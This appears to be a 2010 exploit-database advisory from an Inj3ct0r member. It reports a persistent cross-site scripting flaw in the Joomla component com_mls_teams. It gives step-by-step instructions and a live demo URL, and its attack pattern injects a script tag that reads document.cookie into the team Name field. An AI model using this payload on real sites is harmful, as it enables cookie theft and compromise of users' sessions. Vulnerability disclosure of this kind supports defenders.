Joomla Component com_mls_teams Persistent XSS Vulnerability
<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>Joomla Component com_mls_teams Persistent XSS Vulnerability</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>===========================================================
Joomla Component com_mls_teams Persistent XSS Vulnerability
===========================================================
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /’ __ /’__` / __ /’__` 0
0 /_, ___ /_/_ ___ ,_/ / _ ___ 1
1 /_/ /’ _ ` / /_/__<_ /’___ / /`’__ 0
0 / / / / __/ _ _ / 1
1 _ _ __ ____/ ____\ __\ ____/ _ 0
0 /_//_//_/ _ /___/ /____/ /__/ /___/ /_/ 1
1 ____/ >> Exploit database separated by exploit 0
0 /___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 ########################################## 1
0 I’m Sid3^effects member from Inj3ct0r Team 1
1 ########################################## 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
Name : Joomla com_mls_teams Persistent XSS Vulnerability
Date : july 22,2010
Critical Level : HIGH
vendor URL :http://www.mylansite.org/
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_,Milw0rm 
greetz to :www.topsecure.net,SeeMe,**RoAd_KiLlEr**,indoushka,Sn!pEr.S!Te
All ICW members,my friends,Hack0wn and Milw0rm luv y0 guyz
#######################################################################################################
Description :
This component is part of the mylansite suite of components for LAN party organization, though it can conveniently be used for any type of
event.
The brand new 2.5.0 version now runs on Joomla! 1.5 in native mode and brings some new features and improves the look and feel in the front
end, simplifies tasks in the back end and has improved overall stability.
It features possibility for users to write comments and complete reviews of an event. Recently, a brand new totally flexible ticketing system
has been added which allows you to publish different tickets at different times (e.g. to give an early bird discount), offer volume
discounts, give users to buy more than one ticket and hand them off to one of their friends (using a generated code). You can even pre-define
codes if you want to give free admission to people (for example if you do a raffle for free admission).
#######################################################################################################
Xploit 
ersistent XSS Vulnerability
Step 1 : Register and add a new team
URL :http://demo.mylansite.org/index.php?option=com_mls_teams&Itemid=56&task=new
Step 2 : Insert your xss script in the " Name: " option .
Attack pattern :"><script>alert(document.cookie)</script>..
Step check your team
Demo url :http://demo.mylansite.org/index.php?option=com_mls_teams&Itemid=56
Screenshot : http://img838.imageshack.us/img838/424/commlsteams.png
###############################################################################################################
# 0day no more
# Sid3^effects
# <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-07-22]</pre><script type=’text/javascript’>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));</script><script type=’text/javascript’>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
Source: http://inj3ct0r.com/exploits/13428
Leave a Reply